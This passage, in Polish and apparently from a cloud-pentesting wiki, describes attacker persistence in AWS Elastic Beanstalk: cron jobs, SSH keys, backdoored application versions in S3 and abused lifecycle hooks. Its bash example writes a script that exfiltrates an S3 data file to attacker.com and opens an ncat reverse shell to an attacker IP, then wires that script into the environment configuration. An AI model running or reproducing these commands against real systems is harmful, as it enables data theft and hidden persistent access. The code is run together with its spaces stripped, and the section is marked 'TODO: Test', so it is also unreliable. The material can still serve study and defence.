Aby utrzymać trwałość wewnątrz konta AWS, można wprowadzić pewny mechanizm trwałości wewnątrz instancji (praca cron, klucz ssh...), dzięki czemu atakujący będzie mógł uzyskać do niego dostęp i ukraść poświadczenia roli IAM z usługi metadanych.
Tylnie drzwi w Wersji
Atakujący mógłby umieścić tylnie drzwi w kodzie w repozytorium S3, aby zawsze wykonywał swoje tylnie drzwi i oczekiwany kod.
Nowa zainfekowana wersja
Zamiast zmieniać kod w rzeczywistej wersji, atakujący mógłby wdrożyć nową zainfekowaną wersję aplikacji.
Nadużycie Niestandardowych Haczyków Cyklu Życia Zasobów
TODO: Test
Elastic Beanstalk udostępnia haczyki cyklu życia, które pozwalają uruchamiać niestandardowe skrypty podczas tworzenia i usuwania instancji. Atakujący mógłby skonfigurować haczyk cyklu życia, aby okresowo wykonywał skrypt, który eksfiltruje dane lub utrzymuje dostęp do konta AWS.
bashCopycode#Attackercreatesascriptthatexfiltratesdataandmaintainsaccessecho'#!/bin/bashaws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csvgzip /tmp/data.csvcurl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfilncat -e /bin/bash --ssl attacker-ip 12345'>stealthy_lifecycle_hook.sh# Attacker uploads the script to an S3 bucketawss3cpstealthy_lifecycle_hook.shs3://attacker-bucket/stealthy_lifecycle_hook.sh# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hookecho'Resources:AWSEBAutoScalingGroup:Metadata:AWS::ElasticBeanstalk::Ext:TriggerConfiguration:triggers:- name: stealthy-lifecycle-hookevents:- "autoscaling:EC2_INSTANCE_LAUNCH"- "autoscaling:EC2_INSTANCE_TERMINATE"target:ref: "AWS::ElasticBeanstalk::Environment"arn:Fn::GetAtt:- "AWS::ElasticBeanstalk::Environment"- "Arn"stealthyLifecycleHook:Type: AWS::AutoScaling::LifecycleHookProperties:AutoScalingGroupName:Ref: AWSEBAutoScalingGroupLifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHINGNotificationTargetARN:Ref: stealthy-lifecycle-hookRoleARN:Fn::GetAtt:- AWSEBAutoScalingGroup- Arn'>stealthy_lifecycle_hook.yaml# Attacker applies the new environment configurationaws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"